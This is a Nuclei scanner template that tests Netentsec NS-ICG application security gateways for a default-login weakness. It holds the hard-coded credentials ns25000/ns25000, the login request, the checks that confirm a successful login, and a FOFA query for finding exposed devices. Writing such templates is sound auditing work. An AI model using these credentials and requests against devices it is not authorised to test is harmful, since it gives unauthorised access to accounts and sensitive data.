id: nsicg-default-login

info:
  name: Netentsec NS-ICG - Default Login
  author: pikpikcu
  severity: high
  description: |
    Netentsec NS-ICG contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2016-08603
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:netentsec:application_security_gateway:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: "NS-ICG"
    product: application_security_gateway
    vendor: netentsec
  tags: nsicg,default-login,vuln

http:
  - raw:
      - |
        @timeout: 25s
        POST /user/login/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        usrname={{username}}&pass={{password}}&signinfo=&ukey_user_flag=0&SlotSerialNumber=&agree=
      - |
        @timeout: 25s
        GET /user/main HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/user/login/

    attack: pitchfork
    payloads:
      username:
        - ns25000
      password:
        - ns25000
    matchers:
      - type: dsl
        dsl:
          - 'contains(header_1, "/user/main/")'
          - 'status_code_1 == 302'
          - 'status_code_2 == 200'
          - contains(body_2, "var loguser = \'ns25000")
        condition: and
# digest: 4a0a00473045022004ec900432d034ad569c5da76749b5e6d740863985da1549b8208edbdec4b428022100aaf9d7b159fa9236d2586a878b407e884ce66de48132be5d960fafcd9f0ed843:922c64590222798bb761d5b6d8e72950